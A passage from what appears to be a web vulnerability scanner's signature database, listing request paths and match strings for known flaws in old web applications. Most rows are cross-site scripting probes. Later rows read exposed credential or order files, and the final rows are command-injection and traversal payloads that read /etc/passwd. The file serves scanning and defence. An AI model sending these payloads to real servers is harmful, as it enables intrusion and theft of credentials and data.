vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000857","0","4","/modules.php?name=Surveys&pollID=","GET","","","","","","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000858","0","4","/modules.php?name=Stories_Archive&sa=show_month&year=&month=3&month_l=test","GET","","","","","","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000859","0","4","/modules.php?name=Stories_Archive&sa=show_month&year=2002&month=03&month_l=","GET","","","","","","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000860","0","4","/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=02&ttitle=","GET","","","","","","This install of PHPNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000861","0","4","/modules.php?name=Classifieds&op=ViewAds&id_subcatg=75&id_catg=","GET","","","","","","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000862","0","4","/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index","GET","javascript:alert(document.cookie);","","","","","Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000863","0","4","/members.asp?SF=%22;}alert('Vulnerable');function%20x(){v%20=%22","GET","alert('Vulnerable')","","","","","Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000864","0","4","/megabook/admin.cgi?login=","GET","","","","","","Megabook guestbook is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000865","0","4","/mailman/options/yourlist?language=en&email=<SCRIPT>alert('Vulnerable')</SCRIPT>","GET","","","","","","Mailmain 2.1 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000866","0","4","/mailman/listinfo/","GET","","","","","","Mailman is vulnerable to Cross Site Scripting (XSS). Upgrade to version 2.0.8 to fix. CA-2000-02.","","" "000867","0","4","/ldap/cgi-bin/ldacgi.exe?Action=","GET","","","","","","IBM Directory Server 4.1 Web Admin, ldacgi.exe is vulnerable to XSS attack.","","" "000868","0","4","/launch.jsp?NFuse_Application=","GET","","","","","","NFuse is vulnerable to cross site scripting (XSS) in the GetLastError function. Upgrade to the latest version. CA-2000-02.","","" "000869","0","4","/launch.asp?NFuse_Application=","GET","","","","","","NFuse is vulnerable to cross site scripting (XSS) in the GetLastError function. Upgrade to the latest version. CA-2000-02.","","" "000870","4015","4","/jigsaw/","GET","200","","","","","Jigsaw server may be installed. Versions lower than 2.2.1 are vulnerable to Cross Site Scripting (XSS) in the error page.","","" "000872","0","4","/isapi/testisa.dll?check1=","GET","","","","","","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000873","0","4","/index.php?top_message=<script>alert(document.cookie)</script> ","GET","","","","","","Led-Forums allows any user to change the welcome message, and it is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000874","0","4","/index.php?file=Liens&op=\">","GET","","","","","","Nuked-klan 1.3b is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000875","0","4","/index.php?catid=<script>alert('Vulnerable')</script>","GET","","","","","","PostNuke is vulnerable to cross site scripting (XSS). CA-2000-02.","","" "000876","0","4","/index.php?action=storenew&username=","GET","","","","","","SunShop is vulnerable to Cross Site Scripting (XSS) in the signup page. CA-200-02.","","" "000877","0","4","/index.php?action=search&searchFor=\">","GET","","","","","","MiniBB http://www.minibb.net is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000878","0","4","/index.php/\"><","GET","","","","","","eZ publish v3 and prior allow Cross Site Scripting (XSS). CA-2000-02.","","" "000879","0","4","/index.php/content/search/?SectionID=3&SearchText=","GET","","","","","","eZ publish v3 and prior allow Cross Site Scripting (XSS). CA-2000-02.","","" "000880","0","4","/index.php/content/advancedsearch/?SearchText=&PhraseSearchText=&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchButton=Search","GET","","","","","","eZ publish v3 and prior allow Cross Site Scripting (XSS). CA-2000-02.","","" "000881","0","4","/include.php?path=contact.php&contact_email=\"><script>alert(document.cookie);</script>","GET","","","","","","PHPKIT is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000882","0","4","/html/partner.php?mainfile=anything&Default_Theme='","GET","","","","","","myphpnuke version 1.8.8_final_7 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000883","0","4","/html/chatheader.php?mainfile=anything&Default_Theme='","GET","","","","","","myphpnuke version 1.8.8_final_7 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000884","0","4","/html/cgi-bin/cgicso?query=","GET","","","","","","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000885","0","4","/guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E","GET","200","","","","","MPM Guesbook 1.2 and previous are vulnreable to XSS attacks.","","" "000886","0","4","/gallery/search.php?searchstring=","GET","","","","","","Gallery 1.3.4 and below is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. BID-8288.","","" "000887","0","4","/friend.php?op=SiteSent&fname=","GET","","","","","","This version of PHP-Nuke's friend.php is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02.","","" "000888","0","4","/forum_members.asp?find=%22;}alert('Vulnerable');function%20x(){v%20=%22","GET","alert('Vulnerable')","","","","","Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000889","0","4","/forums/index.php?top_message=<script>alert(document.cookie)</script> ","GET","","GET","","","","","","YaBB is vulnerable to Cross Site Scripting (XSS) in the password field of the login page. CA-2000-02.","","" "000891","0","4","/forums/browse.php?fid=3&tid=46&go=","GET","","","","","","php(Reactor) is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000892","0","4","/esp?PAGE=<script>alert(document.cookie)</script>","GET","","","","","","Escapade Scripting Engine is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000893","0","4","/error/500error.jsp?et=1;","GET","","","","","","Macromedia Sitespring 1.2.0(277.1) on Windows 2000 is vulnerable to Cross Site Scripting (XSS) in the error pages. CA-2000-02.","","" "000894","0","4","/downloads/pafiledb.php?action=rate&id=4?\"<script>alert('Vulnerable')</script>\"","GET","","","","","","Pafiledb by PHP Arena is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000895","0","4","/downloads/pafiledb.php?action=email&id=4?\"<script>alert('Vulnerable')</script>\"","GET","","","","","","Pafiledb by PHP Arena is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000896","0","4","/downloads/pafiledb.php?action=download&id=4?\"<script>alert('Vulnerable')</script>\"","GET","","","","","","Pafiledb by PHP Arena is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000897","0","4","/download.php?sortby=&dcategory=","GET","","","","","","This version of PHP-Nuke's download.php is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02.","","" "000898","0","4","/default.php?info_message=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E","GET","","","","","","osCommerce is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000899","0","4","/default.php?error_message=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E","GET","","","","","","osCommerce is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000900","0","4","/comments/browse.php?fid=2&tid=4&go=<script>alert('Vulnerable')</script>","GET","","","","","","php(Reactor) v1.2.7 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000901","0","4","/comments.php?subject=&comment=&pid=0&sid=0&mode=&order=&thold=op=Preview","GET","","","","","","This version of PHP-Nuke's comments.php is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02.","","" "000902","0","4","/cleartrust/ct_logon.asp?CTLoginErrorMsg=","GET","","","","","","RSA ClearTrust allows Cross Site Scripting (XSS). CA-2000-02.","","" "000903","0","4","/cleartrust/ct_logon.asp?CTAuthMode=BASIC&CTLoginErrorMsg=xx&ct_orig_uri=\">< script>alert(1)/script><\"","GET","","","","","","RSA ClearTrust allows Cross Site Scripting (XSS). CA-2000-02.","","" "000904","0","4","/chat/register.php?register=yes&username=OverG&email=&email1=","GET","alert(\"Vulnerable\")","","","","","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000905","0","4","/cgi-local/cgiemail-1.6/cgicso?query=","GET","","","","","","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000906","0","4","/cgi-local/cgiemail-1.4/cgicso?query=","GET","","","","","","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000907","0","4","/cgi-bin/test2.pl?<script>alert('Vulnerable');</script>","GET","","","","","","Default Monkey server script is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000908","0","4","/cgi-bin/.cobalt/message/message.cgi?info=%3Cscript%3Ealert%28%27alert%27%29%3B%3C/script%3E","GET","alert(\"alert\")","","","","","Cobalt RaQ Web Control Panel is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000909","0","4","/calendar.php?year=&month=03&day=05","GET","","","","","","DCP-Portal v5.3.1 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000910","0","4","/ca000007.pl?ACTION=SHOWCART&REFPAGE=\">","GET","","","","","","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000911","0","4","/ca000001.pl?ACTION=SHOWCART&hop=\">&PATH=acatalog%2f","GET","","","","","","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000912","0","4","/bb000001.pl","GET","","","","","","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000913","0","4","/article.php?sid=\">alert('Vulnerable')","","","","","phpWebSite 0.8.3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000914","0","4","/article.cfm?id=1'","GET","","","","","","With malformed URLS, Coldfusion is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000915","0","4","/apps/web/vs_diag.cgi?server=","GET","","","","","","Zeus 4.2r2 (webadmin-4.2r2) is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000916","0","4","/anthill/login.php","GET","200","","","","","Anthill bug tracking system may be installed. Versions lower than 0.1.6.1 allow XSS/HTML injection and may allow users to bypass login requirements. http://anthill.vmlinuz.ca/ and CA-2000-02","","" "000917","0","4","/admin/login.php?path=\">
<script>alert('Vulnerable')","GET","","","","","","mcNews 1.1a from phpforums.net is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000918","0","4","/addressbook/index.php?surname=","GET","","","","","","Phpgroupware 0.9.14.003 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000919","0","4","/addressbook/index.php?name=","GET","","","","","","Phpgroupware 0.9.14.003 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000920","0","4","/add.php3?url=ja&adurl=javascript:","GET","","","","",""," 1.1 http://www.sugarfreenet.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02."," ","" "000921","0","4","/a?","GET","","","","","","Server is vulnerable to Cross Site Scripting (XSS) in the error message if code is passed in the query-string. This may be a Null HTTPd server.","","" "000922","0","4","/a.jsp/","GET","","","","","","JServ is vulnerable to Cross Site Scripting (XSS) when a non-existent JSP file is requested. Upgrade to the latest version of JServ. CA-2000-02.","","" "000923","0","4","/?mod=&op=browse","GET",".thtml","GET",".thtml","","","","","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000925","0","4","/.shtml","GET",".shtml","","","","","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000926","0","4","/.jsp","GET",".jsp","","","","","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000927","0","4","/.aspx","GET","","","","","","Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). CA-2000-02.","","" "000928","0","4","//profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=<script>alert(document.cookie)</script>","GET","","","","","","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02.","","" "000929","0","4","//comment.php?mode=Delete&sid=1&cid=<script>alert(document.cookie)</script>","GET","","","","","","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02.","","" "000930","0","4","/<script>alert('Vulnerable');</script>","GET","","","","","","Server is vulnerable to cross site scripting (XSS) with HTML-encoded requests. CA-2000-02.","","" "000931","0","4","/%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html","GET","","","","","","Server allows Cross Site Scripting (XSS) in 404 error messages if the code is in a directory. This may be Falcon web server.","","" "000932","0","4","/%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e","GET","","","","","","Server allows Cross Site Scripting (XSS) in 301 error messages. This may be Falcon web server.","","" "000933","0","4","/%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e","GET","","","","","","Server allows Cross Site Scripting (XSS) in 301 error messages. This may be Falcon web server.","","" "000934","0","4","/%22%3cscript%3ealert(%22xss%22)%3c/script%3e","GET","","","","","","Server allows Cross Site Scripting (XSS) in 301 error messages. This may be Falcon web server.","","" "000935","0","4","/%0a%0a.jsp","GET","","","","","","Jetty jsp servlet engine is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000936","0","4","@CGIDIRStitle.cgi","GET","200","","","","","HNS's title.cgi is vulnerable to cross site scripting (XSS CA-2000-02). in version 2.00 and earlier, and Lite 0.8 and earlier.","","" "000937","0","34","@CGIDIRScompatible.cgi","GET","200","","","","","This COWS (CGI Online Worldweb Shopping) script may give system information to attackers, and may be vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000938","0","34","/add_user.php","GET","output started at /","","","","","DCP-Portal reveals system path. Upgrade to a version higher than 4.2. This version is also vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "000939","0","1","@CGIDIRSprobecontrol.cgi?command=enable&username=cancer&password=killer","GET","200","","","","","This might be interesting... has been seen in web logs from a scanner.","","" "000940","0","1","@CGIDIRSretrieve_password.pl","GET","200","","","","","May not be vulnerable, but see http://www.dcscripts.com/bugtrac/DCForumID7/3.html for information.","","" "000941","0","1","@CGIDIRSwwwadmin.pl","GET","200","","","","","Administration CGI?","","" "000942","0","1","/cfdocs/expeval/displayopenedfile.cfm","GET","200","not found","","","","Unknown vul","","" "000943","0","1","/cfdocs/expeval/sendmail.cfm","GET","200","","","","","can be used to send email; go to the page and fill in the form","","" "000944","0","1ab","/cgi-bin/bigconf.cgi","GET","200","","","","","BigIP Configuration CGI","","" "000945","0","1b","@CGIDIRSwebmap.cgi","GET","200","","","","","nmap front end...could be fun","","" "000946","0","1b","@CGIDIRSwwwwais","GET","UNISYS WEB SEARCH ENGINE","","","","","Unisys web server wais search found.","","" "000947","0","1b","/ammerum/","GET","200","","","","","Ammerum pre 0.6-1 had several security issues.","","" "000948","0","1b","/ariadne/","GET","200","","","","","Ariadne pre 2.1.2 has several vulnerabilities. The default login/pass to the admin page is admin/muze.","","" "000949","0","1b","/cbms/cbmsfoot.php","GET","200","","","","","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/","","" "000950","0","1b","/cbms/changepass.php","GET","200","","","","","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/","","" "000951","0","1b","/cbms/editclient.php","GET","200","","","","","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/","","" "000952","0","1b","/cbms/passgen.php","GET","200","","","","","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/","","" "000953","0","1b","/cbms/realinv.php","GET","200","","","","","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/","","" "000954","0","1b","/cbms/usersetup.php","GET","200","","","","","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/","","" "000955","0","1b","/cgi-bin/admin/admin.cgi","GET","200","","","","","May be ImageFolio Pro administration CGI. Default login is Admin/ImageFolio.","","" "000956","0","1b","/cgi-bin/admin/setup.cgi","GET","200","","","","","May be ImageFolio Pro setup CGI. Default login is Admin/ImageFolio.","","" "000957","0","2","@CGIDIRSmt-static/mt-load.cgi","GET","200","","","","","Movable Type weblog installation CGI found. May be able to reconfigure or reload.","","" "000958","0","2","@CGIDIRSmt-static/mt.cfg","GET","configuration file","","","","","Movable Type configuration file found. Should not be available remotely.","","" "000959","0","2","@CGIDIRSmt/mt-load.cgi","GET","200","","","","","Movable Type weblog installation CGI found. May be able to reconfigure or reload.","","" "000960","0","2","@CGIDIRSmt/mt.cfg","GET","configuration file","","","","","Movable Type configuration file found. Should not be available remotely.","","" "000961","0","2","/cgi-bin-sdb/printenv","GET","/usr/bin/perl","","","","","SuSe is configured with a link from cgi-bin-sdb to cgi-bin. Change the accompanying 'Alias' to 'ScriptAlias' in httpd.conf. BID-4431.","","" "000962","0","12","/ext.dll?MfcIsapiCommand=LoadPage&page=admin.hts%20&a0=add&a1=root&a2=%5C","GET","200","","","","","This check (A) sets up the next bad blue test (B) for possible exploit. see http://www.badblue.com/down.htm","","" "000963","0","23","/db/users.dat","GET","200","","","","","upb PB allows the user database to be retrieved remotely.","","" "000964","0","3","@CGIDIRScgiwrap/~@USERS","GET","UID of script userid","","","","","cgiwrap can be used to enumerate user accounts. Recompile cgiwrap with the '--with-quiet-errors' option to stop user enumeration.","","" "000965","0","3","@CGIDIRScgiwrap/~JUNK(5)","GET"," unable to find the user","","","","","Based on error message, cgiwrap can likely be used to find valid user accounts. Recompile cgiwrap with the '--with-quiet-errors' option to stop user enumeration.","","" "000966","0","3","@CGIDIRScgiwrap/~root","GET","UID of script userid","","","","","cgiwrap can be used to enumerate user accounts. Recompile cgiwrap with the '--with-quiet-errors' option to stop user enumeration.","","" "000967","0","3","@CGIDIRSdbman/db.cgi?db=no-db","GET","200","","","","","This CGI allows remote attackers to view system information.","","" "000968","0","3","@CGIDIRSdcshop/auth_data/auth_user_file.txt","GET","200","","","","","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information.","","" "000969","0","3","@CGIDIRSDCShop/auth_data/auth_user_file.txt","GET","200","","","","","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information.","","" "000970","0","3","@CGIDIRSdcshop/orders/orders.txt","GET","200","","","","","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information.","","" "000971","0","3","@CGIDIRSDCShop/orders/orders.txt","GET","200","","","","","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information.","","" "000972","0","3","@CGIDIRSdumpenv.pl","GET","200","","","","","This CGI gives a lot of information to attackers.","","" "000973","0","3","@CGIDIRShtsearch?-c/nonexistant","GET","Unable to read configuration file '/nonexistant'","","","","","The ht::/Dig install may let an attacker force ht://Dig to read arbitrary config files for itself.","","" "000974","0","3","@CGIDIRSmkilog.exe","GET","200","","","","","This CGI can give an attacker a lot of information.","","" "000975","0","3","@CGIDIRSmkplog.exe","GET","200","","","","","This CGI can give an attacker a lot of information.","","" "000976","0","3","@CGIDIRSorders/orders.txt","GET","200","","","","","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information.","","" "000977","0","3","@CGIDIRSprocessit.pl","GET","200","","","","","This CGI returns environment variables, giving attackers valuable information.","","" "000978","0","3","@CGIDIRSrpm_query","GET","200","","","","","This CGI allows anyone to see the installed RPMs","","" "000979","0","3","@CGIDIRSsawmill?rfcf+%22SawmillInfo/SawmillPassword%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3","GET","Unknown configuration","","","","","The Sawmill CGI allows attackers to read the Sawmill password.","","" "000980","0","3","@CGIDIRSshop/auth_data/auth_user_file.txt","GET","200","","","","","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information.","","" "000981","0","3","@CGIDIRSshop/orders/orders.txt","GET","200","","","","","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information.","","" "000982","0","3","@CGIDIRSws_ftp.ini","GET","200","","","","","Can contain saved passwords for ftp sites","","" "000983","0","3","@CGIDIRSWS_FTP.ini","GET","200","","","","","Can contain saved passwords for ftp sites","","" "000984","0","3","/?sql_debug=1","GET","SQL query: ","","","","","The PHP-Nuke install may allow attackers to enable debug mode and disclose sensitive information by adding sql_debug=1 to the query string.","","" "000985","0","3","/a_security.htm","GET","name=\"viewingpasswrd\" value=","","","","","Polycom ViewStation FX Release v4.2 reveals the admin password in the change password form's HTML.","","" "000986","0","3","/Admin_files/order.log","GET","200","","","","","Selena Sol's WebStore 1.0 exposes order information, http://www.extropia.com/, http://www.mindsec.com/advisories/post2.txt.","","" "000987","0","3","/admin.html","GET","MySimpleNews - Administration","","","","","MySimpleNews contains the admin password in the login page HTML."," ","" "000988","0","3","/admin/cplogfile.log","GET","200","","","","","DevBB 1.0 final (http://www.mybboard.com) log file is readable remotely. Upgrade to the latest version.","","" "000989","0","3","/admin/system_footer.php","GET","200","","","","","myphpnuke version 1.8.8_final_7 reveals detailed system information.","","" "000990","0","3","/cfdocs/snippets/fileexists.cfm","GET","200","","","","","can be used to verify the existance of files (on the same drive info as the web tree/file)","","" "000991","0","3","/cgi-bin/MachineInfo","GET","200","","","","","gives out information on the machine (IRIX), including hostname","","" "000992","0","3","/chat/!nicks.txt","GET","200","","","","","WF-Chat 1.0 Beta allows retrieval of user information.","","" "000993","0","3","/chat/!pwds.txt","GET","200","","","","","WF-Chat 1.0 Beta allows retrieval of user information.","","" "000994","0","3","/chat/data/usr","GET","200","","","","","SimpleChat! 1.3 allows retrieval of user information.","","" "000995","0","3","/com","GET","index of","","","","","Java class files may be browsable.","","" "000996","0","3","/COM","GET","index of","","","","","Java class files may be browsable.","","" "000997","0","3","/config.php","GET","200","","","","","PHP Config file may contain database IDs and passwords.","","" "000998","0","3","/config/","GET","200","","","","","Configuration information may be available remotely.","","" "000999","0","3","/cplogfile.log","GET","200","","","","","XMB Magic Lantern forum 1.6b final (http://www.xmbforum.com) log file is readable remotely. Upgrade to the latest version.","","" "001000","0","3","/cutenews/index.php?debug","GET","PHP Version","","","","","Cutenews 1.3 contains an information disclosure bug that reveals standard 'phpinfo' page output.","","" "001001","0","3","/examples/jsp/snp/anything.snp","GET","200","","","","","Tomcat servlet gives lots of host information."," ","" "001002","0","3","/file-that-is-not-real-2002.php3","GET","Unable to open","","","","","PHP is configured to show the web root when sending error messages. Set display_errors to 'off'.","","" "001003","0","3","/index.php?sql_debug=1","GET","SQL query: ","","","","","The PHP-Nuke install may allow attackers to enable debug mode and disclose sensitive information by adding sql_debug=1 to the query string.","","" "001004","0","37","@CGIDIRSview-source?view-source","GET","200","","","","","This allows remote users to view source code.","","" "001005","0","37","@CGIDIRSwebplus?about","GET","Product Information","","","","","Webplus may divulge product information, including version numbers. Version 4.X and below have a file read vulnerability.","","" "001006","0","37","/cfdocs/snippets/viewexample.cfm","GET","200","not found","","","","this can be used to view .cfm files, request viewexample.cfm?Tagname=..\..\..\file (.cfm is assumed)","","" "001007","0","3a","/chassis/config/GeneralChassisConfig.html","GET","Chassis Configuration","","","","","The Cabletron switch may allow remote configuration, or data retrieval, through the web interface.","","" "001008","0","3b","@CGIDIRSibill.pm","GET","200","","","","","iBill.pm is installed. This may allow brute forcing of passwords.","","" "001009","0","3b","@CGIDIRSscoadminreg.cgi","GET","200","","","","","This script (part of UnixWare WebTop) may have a local root exploit. It is also an system admin script and should be protected via the web.","","" "001010","0","3b","@CGIDIRSSGB_DIR/superguestconfig","GET","200","","","","","Super GuestBook 1.0 from lasource.r2.ru stores the admin password in a plain text file.","","" "001011","0","4","/hp/device/this.LCDispatcher","GET","200","","","","","The Hewlett Packard Color LaserJet 4550 may allow unauthenticated users to permanently include links (and other data) in the web interface.","","" "001012","0","6","/cfdocs/snippets/evaluate.cfm","GET","200","","","","","can enter CF code to be evaluated, or create denial of service see www.allaire.com/security/ technical papers and advisories for info","","" "001013","0","6","/cfide/Administrator/startstop.html","GET","200","","","","","can start/stop the server","","" "001014","0","7","@CGIDIRSicat","GET","200","","","","","Multiple versions of icat allow attackers to read arbitrary files. Make sure the latest version is running.","","" "001015","0","7","@CGIDIRSMsmMask.exe?mask=/junk334","GET","Failed to read the maskfile","","","","","MondoSearch may allow any file to be retrieved using the 'mask' variable.","","" "001016","0","7","@CGIDIRSMsmMask.exe?mask=/junk334","GET","MondoSearch for Web Sites 4.0","","","","","MondoSearch may allow any file to be retrieved using the 'mask' variable.","","" "001017","0","7","@CGIDIRSMsmMask.exe?mask=/junk334","GET","MondoSearch for Web Sites 4.1","","","","","MondoSearch may allow any file to be retrieved using the 'mask' variable.","","" "001018","0","7","@CGIDIRSMsmMask.exe?mask=/junk334","GET","MondoSearch for Web Sites 4.2","","","","","MondoSearch may allow any file to be retrieved using the 'mask' variable.","","" "001019","0","7","@CGIDIRSMsmMask.exe?mask=/junk334","GET","MondoSearch for Web Sites 4.3","","","","","MondoSearch may allow any file to be retrieved using the 'mask' variable.","","" "001020","0","7","@CGIDIRSnph-showlogs.pl?files=../../&filter=.*&submit=Go&linecnt=500&refresh=0","GET","200","","","","","nCUBE Server Manager 1.0 nph-showlogs.pl directory traversal bug","","" "001021","0","7","@CGIDIRSquery?mss=%2e%2e/config","GET","MGMT_PW","","","","","The Altavista search service allows attackers to read any file on the server.","","" "001022","0","7","@CGIDIRStest-cgi?/*","GET","/tmp","","","","","This CGI allows files to read remotely.","","" "001023","0","7","@CGIDIRSupdate.dpgs","GET","200","","","","","Duma Photo Gallery System may allow remote users to write to any file on the system. See http://b0iler.eyeonsecurity.net for details. This could not be remotely tested.","","" "001024","0","7","@CGIDIRSview-source","GET","200","","","","","This may allow remote arbitrary file retrieval.","","" "001025","0","7","@CGIDIRSwrap","GET","200","","","","","This CGI lets users read any file with 755 perms. It should not be in the CGI directory.","","" "001026","0","7","/Mem/dynaform/FileExplorer.htm","GET","File Explorer","","","","","The Nortel MIRAN device allows unauthenticated users to view the contents of the system's drive.","","" "001027","0","78","@CGIDIRSFormHandler.cgi?realname=aaa&email=aaa&reply_message_template=%2Fetc%2Fpasswd&reply_message_from=sq%40example.com&redirect=http%3A%2F%2Fwww.example.com&recipient=sq%40example.com","GET","root:","","","","","This CGI allows attackers to read files and execute commands remotely.","","" "001028","0","78","@CGIDIRSlastlines.cgi?process","POST","root:","","","","","This CGI lets attackers read arbitrary files and/or execute commands.","num_lines=1000&log_location=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","" "001029","0","8","@CGIDIRScalendar_admin.pl?config=|cat%20/etc/passwd|","GET","root:","","","","","This CGI allows attackers to execute commands on the server.","","" "001030","0","8","@CGIDIRScalendar/calendar_admin.pl?config=|cat%20/etc/passwd|","GET","root:","","","","","This CGI allows attackers to execute commands on the server.","","" "001031","29","8","@CGIDIRScampas?%0acat%0a/etc/passwd%0a","GET","root:","","","","","NCSA campas allows attackers to execute commands on the server.","","" "001032","650","8","@CGIDIRScgicso?query=AAA","GET","400 Required field missing: fingerhost","","","","","CGIEmail's cgicso allows attackers to execute remote commands.","","" "001033","0","8","@CGIDIRScgiwrap","GET","200","","","","","Some versions of cgiwrap allow anyone to execute commands remotely."," ","" "001034","0","8","@CGIDIRScommon/listrec.pl?APP=qmh-news&TEMPLATE=;ls%20/etc|","GET","resolv.conf","","","","","Allows attacker to execute commands as http daemon. Upgrade or remove.","","" "001035","0","8","@CGIDIRSCount.cgi","GET","200","","","","","This may allow attackers to execute arbitrary commands on the server","","" "001036","0","8","@CGIDIRScsChatRBox.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","GET","root:","","","","","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version.","","" "001037","0","8","@CGIDIRScsGuestBook.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","GET","root:","","","","","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version.","","" "001038","0","8","@CGIDIRScsLiveSupport.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","GET","root:","","","","","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version.","","" "001039","0","8","@CGIDIRScsNewsPro.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","GET","root:","","","","","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version.","","" "001040","0","8","@CGIDIRSecho.bat","GET","200","","","","","This CGI may allow attackers to execute remote commands.","","" "001041","0","8","@CGIDIRSformmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test","GET","root:","","","","","This CGI allows attackers to retrieve arbitrary files from the server.","","" "001042","0","8","@CGIDIRSImageFolio/admin/admin.cgi","GET","200","","","","","ImageFolio (default accout Admin/ImageFolio) may allow files to be deleted via URLs like: ?cgi=remove.pl&uid=111.111.111.111&rmstep=2&category=../../../../../../../../../../../etc/","","" "001043","101","8","@CGIDIRSinfo2www '(../../../../../../../bin/mail root ","GET","root:","","","","","This CGI allows attackers to execute commands. passwd file may have been mailed to root.","","" "001044","0","8","@CGIDIRSinfo2www","GET","200","","","","","This CGI allows attackers to execute commands.","","" 